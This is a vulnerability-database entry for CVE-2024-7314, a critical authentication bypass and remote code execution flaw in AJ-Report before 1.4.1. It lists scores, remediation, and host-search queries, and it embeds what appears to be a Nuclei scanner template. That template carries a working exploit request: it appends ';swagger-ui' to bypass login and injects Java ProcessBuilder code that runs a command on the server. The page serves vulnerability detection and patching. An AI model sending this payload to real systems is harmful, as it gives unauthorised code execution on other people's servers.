SecurityContext

CVE-2024-7314: AJ-Report < 1.4.1 - Remote Code Execution

Classification

  • Cwe: CWE-280
  • Cvss score: 9.8
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Epss score: 0.5175
  • Epss percentile: 0.98976
  • Cpe: cpe:2.3:a:anji-plus:report:*:*:*:*:*:*:*:*

Metadata

  • Fofa-query: app="AJ-Report"
  • Max-request: 1
  • Product: report
  • Shodan-query: http.title:"AJ-Report"
  • Vendor: anji-plus
  • Verified: yes

Products

ProductIndexedUrl
anji-plus:reportyes/v1/products/anji-plus/report

Labels

  • Name: AJ-Report - Authentication Bypass & Remote Code Execution
  • Impact: Attackers can bypass authentication and execute arbitrary Java code, leading to remote code execution on the server.
  • Remediation: Update to version 1.4.1 or later.
  • Vulnerability type: insecure_deserialization
  • Vulnerability impact: remote_code_execution
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2024-7314
  • Not known: requirements

```yaml

id: CVE-2024-7314

info:

name: AJ-Report < 1.4.1 - Remote Code Execution

author: ritikchaddha

severity: critical

description: |

AJ-Report before version 1.4.1 is affected by an authentication bypass vulnerability. A remote and unauthenticated attacker can append ";swagger-ui" to HTTP requests to bypass authentication and execute arbitrary Java code on the victim server through script engine injection in the validation rules functionality.

impact: |

Unauthenticated attackers can bypass authentication and execute arbitrary Java code on the server through script engine injection, achieving complete system compromise and access to all application data.

remediation: |

Upgrade to AJ-Report version 1.4.1 or later which includes security fixes.

reference:

- https://github.com/vulhub/vulhub/tree/master/aj-report/CNVD-2024-15077

- https://github.com/yuebusao/AJ-REPORT-EXPLOIT

- https://xz.aliyun.com/t/14460

- https://nvd.nist.gov/vuln/detail/CVE-2024-7314

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

cvss-score: 9.8

cwe-id: CWE-280

epss-score: 0.5175

epss-percentile: 0.98976

cve-id: CVE-2024-7314

cpe: cpe:2.3:a:anji-plus:report:*:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 1

vendor: anji-plus

product: report

fofa-query: app="AJ-Report"

shodan-query: http.title:"AJ-Report"

tags: cve,cve2024,aj-report,anji-plus,rce,swagger,vkev,vuln

http:

- raw:

- |

POST /dataSetParam/verification;swagger-ui/ HTTP/1.1

Host: {{Hostname}}

Content-Type: application/json;charset=UTF-8

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

matchers-condition: and

matchers:

- type: regex

part: body

regex:

- "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"

- 'data":'

condition: and

- type: word

part: content_type

words:

- "application/json"

- type: status

status:

- 200

extractors:

- type: regex

regex:

- "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"

digest: 4a0a00473045022056eaddeac9f3ba841195b2889a88b6c7070f1ac035a3f016180ff05894f0ec83022100c5d8a026a58efe0685945a8ec9dbb19a6e5ef7747a7271383e1514825b9a8130:922c64590222798bb761d5b6d8e72950

```